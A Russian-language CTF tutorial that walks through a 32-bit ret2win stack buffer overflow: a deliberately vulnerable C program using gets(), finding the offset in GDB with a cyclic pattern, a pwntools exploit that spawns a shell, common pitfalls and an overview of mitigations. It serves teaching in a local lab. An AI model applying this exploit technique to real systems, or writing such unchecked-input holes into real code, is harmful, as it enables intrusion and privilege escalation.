
Три года работы с начальными pwn-треками на CTF-площадках показали одну вещь: новички спотыкаются не об саму уязвимость, а об инфраструктуру вокруг неё. «Почему GDB показывает другой адрес?» — ASLR включён. «Почему EIP не 0x42424242?» — offset кривой. «Почему exploit работает в GDB, но не без него?» — отладчик сдвигает стек. Сама эксплуатация buffer overflow — десять строк Python и одна фундаментальная идея: данные пользователя и управляющая информация программы лежат рядом в памяти, без аппаратной границы. Здесь — полная цепочка от компиляции уязвимого бинаря до $ в терминале, с разбором каждого шага в GDB. Каждого.
Переполнение буфера — не учебная абстракция из методички. В MITRE ATT&CK техника попадает сразу в две тактики: Exploitation for Client Execution (T1203, Execution) — уязвимость в приложении даёт выполнение произвольного кода, и Exploitation for Privilege Escalation (T1068) — когда уязвимый бинарь крутится с SUID-битом или от root. По данным Mandiant M-Trends 2025, эксплойты — самый частый вектор initial access: 38% инцидентов начинаются именно с эксплуатации уязвимости. Подробнее — в нашем обзоре бинарный анализ уязвимостей.
Бизнес-логика атаки проста до безобразия. Программа хранит данные пользователя (содержимое буфера) и управляющую информацию (адрес возврата из функции) в одном непрерывном блоке памяти — на стеке. Запишешь в буфер больше, чем он вмещает — лишние байты затрут адрес возврата. Когда функция выполнит ret, процессор загрузит подменённый адрес в EIP (на x86) или RIP (на x86-64) и продолжит выполнение оттуда, куда указал атакующий. На CTF этот сценарий сжимается до одной задачи: перезаписать адрес возврата адресом функции win(), которая вызывает system("/bin/sh"). Паттерн называется ret2win.
Для эксплуатации buffer overflow достаточно понимать три регистра.
ESP / RSP (Stack Pointer) — вершина стека. Стек на x86 растёт вниз, от старших адресов к младшим: каждый push уменьшает ESP, каждый pop увеличивает.
EBP / RBP (Base Pointer) — начало текущего стекового кадра. Относительно него компилятор адресует локальные переменные (отрицательное смещение) и аргументы функции (положительное).
EIP / RIP (Instruction Pointer) — адрес следующей инструкции для процессора. Напрямую записать в него нельзя, но ret снимает значение с вершины стека и загружает его в EIP/RIP. Контроль над стеком = контроль над выполнением программы. Вот и вся магия.
Когда процессор выполняет call vuln, он кладёт на стек адрес следующей за call инструкции — адрес возврата. Дальше vuln сохраняет текущий EBP (push ebp), устанавливает новый (mov ebp, esp) и сдвигает ESP вниз, выделяя место под локальные переменные (sub esp, N).
Для функции с char buf[64] стековый кадр выглядит так (от младших адресов к старшим):
| Адрес (условно) | Содержимое | Размер (x86) |
|---|---|---|
| ESP -> | buf[0..63] — локальный буфер | 64 байта |
| ... | padding (зависит от компилятора) | 0-12 байт |
| EBP -> | saved EBP — сохранённый указатель кадра вызывающей функции | 4 байта |
| EBP+4 | return address — адрес возврата (куда вернётся ret) | 4 байта |
Запись в buf идёт от младших адресов к старшим — вверх по таблице. Когда gets() читает ввод без проверки длины, данные последовательно затирают padding, saved EBP и адрес возврата. Именно тут атакующий перехватывает EIP.
На 64-bit принцип тот же, но есть два подводных камня. Адреса — 8 байт, и процессор принимает только каноничные: от 0x0000000000000000 до 0x00007FFFFFFFFFFF для userland. Забить RIP байтами 0x41 не выйдет — 0x4141414141414141 не каноничен, процессор выбросит general protection fault. Ещё на x86-64 перед вызовом функций стек должен быть выровнен на 16 байт; нарушение выравнивания — частая причина segfault на movaps в libc (и частый вопрос на форуме). Для первого pwn-таска работаем с 32-bit, где этих граблей нет.
| Параметр | Значение |
|---|---|
| ОС | Linux (Ubuntu/Debian/Kali) |
| Архитектура бинаря | x86 (32-bit) |
| ASLR | Отключён (randomize_va_space = 0) |
| Stack Canary | Отключён (-fno-stack-protector) |
| NX (DEP) | Отключён (-z execstack) |
| PIE | Отключён (-no-pie) |
| Отладчик | GDB + pwndbg или GEF |
| Python | pwntools |
Ставим зависимости: sudo apt install gcc-multilib gdb и pip install pwntools. Для pwndbg — клонируем репозиторий и запускаем setup.sh, он пропатчит .gdbinit. После этого GDB при остановке процесса будет автоматически показывать контекст: регистры, стек, дизассемблированный код — без ручных команд. Кто работал с голым GDB, оценит разницу.
Отключаем ASLR: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space. После практики обязательно верните обратно: echo 2 | sudo tee /proc/sys/kernel/randomize_va_space.
Минимальный уязвимый бинарь в стиле ret2win:
#include <stdio.h>
#include <stdlib.h>
void win() { system("/bin/sh"); }
void vuln() {
char buf[64];
gets(buf); // читает без проверки длины — тут и живёт баг
}
int main() { vuln(); return 0; }
Функция win() есть в коде, но нигде не вызывается штатно — задача атакующего до неё «добраться». gets() читает ввод до символа новой строки, игнорируя размер буфера. GCC честно предупредит: the gets function is dangerous. Именно эта опасность делает задачу возможной.
Компилируем: gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c. Проверяем защиты: checksec --file=vuln. Ожидаемый результат — Canary: No, NX: disabled, PIE: No, RELRO: Partial. Если хоть одна защита включена — exploit не сработает, перекомпилируйте.
Offset — количество байт от начала буфера до адреса возврата. Ручной подсчёт «64 байта буфера + 4 байта saved EBP = 68» не всегда верен: компилятор может добавить padding для выравнивания. Поэтому offset определяем экспериментально, через паттерн де Брёйна — последовательность, в которой каждая подстрока длиной 4 байта уникальна.
Запускаем бинарь в отладчике: gdb ./vuln. Генерируем паттерн длиной 200 байт — в pwndbg прямо внутри GDB: cyclic 200. Или в терминале: python3 -c "from pwn import *; print(cyclic(200).decode())".
run, вставляем паттерн. Программа падает с SIGSEGV — EIP попытался перейти по адресу, который на самом деле фрагмент нашего паттерна. Pwndbg подсветит значение EIP — допустим, 0x6161616c.
Определяем позицию: cyclic -l 0x6161616c. Pwntools вернёт число — это и есть offset. Допустим, 76: первые 76 байт заполняют буфер, padding и saved EBP, а байты 77–80 ложатся ровно в адрес возврата.
Подаём тестовый payload: 76 байт A и четыре байта B. В GDB: run < <(python3 -c "import sys; sys.stdout.buffer.write(b'A'*76 + b'BBBB')"). Если EIP стал 0x42424242 (ASCII B = 0x42) — offset правильный. Если нет — пересчитываем. Паттерн должен быть длиннее буфера минимум на 50 байт, иначе уникальная подстрока может не дотянуться до адреса возврата.
Нужен адрес win(). Два способа: через pwntools — python3 -c "from pwn import *; e = ELF('./vuln'); print(hex(e.symbols['win']))" или в GDB — p &win. Допустим, 0x08049196. PIE отключён, адрес фиксирован при каждом запуске.
from pwn import *
elf = ELF('./vuln')
p = process('./vuln')
offset = 76
payload = b'A' * offset # мусор — забиваем буфер и saved EBP
payload += p32(elf.symbols['win']) # а вот тут — адрес win() в little-endian
p.sendline(payload)
p.interactive()
Разбор по строкам. ELF('./vuln') парсит бинарь и достаёт таблицу символов. process('./vuln') запускает процесс локально; для удалённого CTF-сервера замените на remote('ctf.example.com', 1337). b'A' * offset — мусорные байты, заполняющие буфер и saved EBP. p32(elf.symbols['win']) — ключевая строка: упаковывает 4-байтовый адрес в little-endian. На x86 младший байт идёт первым: 0x08049196 в памяти хранится как \x96\x91\x04\x08. Не собирайте адрес вручную — перепутать порядок байтов проще, чем кажется, я видел это десятки раз. p.sendline() отправляет payload с символом новой строки (именно его ждёт gets()). p.interactive() передаёт управление — если win() отработала, в терминале появится shell.
Запуск: python3 exploit.py. Появился $ — переполнение стека сработало. ret загрузила адрес win() в EIP, процессор выполнил system("/bin/sh"). Готово.
Неправильный offset. Симптом: EIP не равен 0x42424242 при тестовом payload с BBBB. Причина: ручной подсчёт не учёл padding, или паттерн был слишком коротким. Решение: повторить с cyclic длиной буфер + 100 байт, заново выполнить cyclic -l.
Забытый ASLR. Симптом: exploit работает в GDB, но падает без отладчика. GDB по умолчанию отключает ASLR для отлаживаемого процесса — за его пределами система рандомизирует стек. Для ret2win это обычно не критично (прыгаем на адрес внутри бинаря, а не на стек), но если всё равно не работает — проверяйте: cat /proc/sys/kernel/randomize_va_space должен вернуть 0.
Endianness. Симптом: EIP содержит адрес задом наперёд. Адрес записан в big-endian вместо little-endian. Решение: всегда использовать p32() / p64() из pwntools.
Segfault на movaps (только x86-64). Адрес win() верный, но программа падает внутри libc. Стек не выровнен на 16 байт. Решение: добавьте в payload адрес ret-гаджета (одиночная инструкция ret из бинаря) перед адресом win(), чтобы сдвинуть RSP на 8 байт. Ищется через ROPgadget --binary vuln | grep ': ret'.
Exploit сработал только потому, что при компиляции мы намеренно вырубили все защиты. В реальных бинарях их минимум четыре.
Stack Canary (D3-SFCV, Stack Frame Canary Validation). Компилятор вставляет случайное значение — канарейку — между локальными переменными и saved EBP. Перед ret функция проверяет её целостность. Если значение изменилось — __stack_chk_fail убивает процесс до того, как перезаписанный адрес попадёт в EIP. В Linux при срабатывании ядро генерирует stack smashing detected — это событие ловит Sigma-правило lnx_buffer_overflows.yml из SigmaHQ.
NX / DEP (D3-PSEP, Process Segment Execution Prevention). Стек помечен как неисполняемый. Даже если записать shellcode в буфер и перенаправить EIP — процессор откажется выполнять код со страницы без execute-бита. Обход: Return-Oriented Programming (ROP), где payload собирается из фрагментов уже существующего исполняемого кода.
ASLR (D3-SAOR, Segment Address Offset Randomization). ОС рандомизирует базовые адреса стека, кучи и разделяемых библиотек. Адрес win() в бинаре без PIE фиксирован, но адреса функций libc меняются при каждом запуске. Обход: утечка адреса через GOT/PLT или брутфорс (32-bit ASLR имеет ограниченную энтропию — иногда хватает нескольких тысяч попыток).
PIE (Position Independent Executable). Сам бинарь загружается по случайному базовому адресу. Адрес win() неизвестен заранее, нужна утечка и вычисление базы.
Каждая защита — отдельная тема. Для первого pwn-таска правило простое: если checksec показывает Canary: No, NX: disabled, PIE: No — перед вами классический ret2win, и описанная цепочка сработает целиком.
Большинство новичков воспринимают pwn как «магию для избранных», хотя ret2win — одна из самых детерминированных задач в CTF. Если offset найден правильно и защиты отключены — payload работает со стопроцентной повторяемостью. Проблема не в сложности техники, а в количестве молчаливых предусловий, которые нигде не прописаны в условии задания: отключенный ASLR, правильные флаги компиляции, настроенный GDB с плагином. Без них бинарь молча падает в SIGSEGV и ничего не объясняет.
Я бы рекомендовал не бросаться на pwn-таски с нуля на соревновании. Соберите стенд, прогоните цепочку от компиляции до shell три-четыре раза, пока руки запомнят последовательность. Потом усложняйте: включите canary — попробуйте обойти через format string. Включите NX — постройте ROP-цепочку. Каждое усложнение — ровно одна новая техника поверх уже работающей базы, а не отдельная дисциплина. Если хочешь не просто writeup, а пройти всю цепочку атаки самому — на WAPT эту прогрессию проходят в модулях с лабами.
🚀 Хочешь закрепить на практике? CTF-задачи и лабы ждут на HackerLab.
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...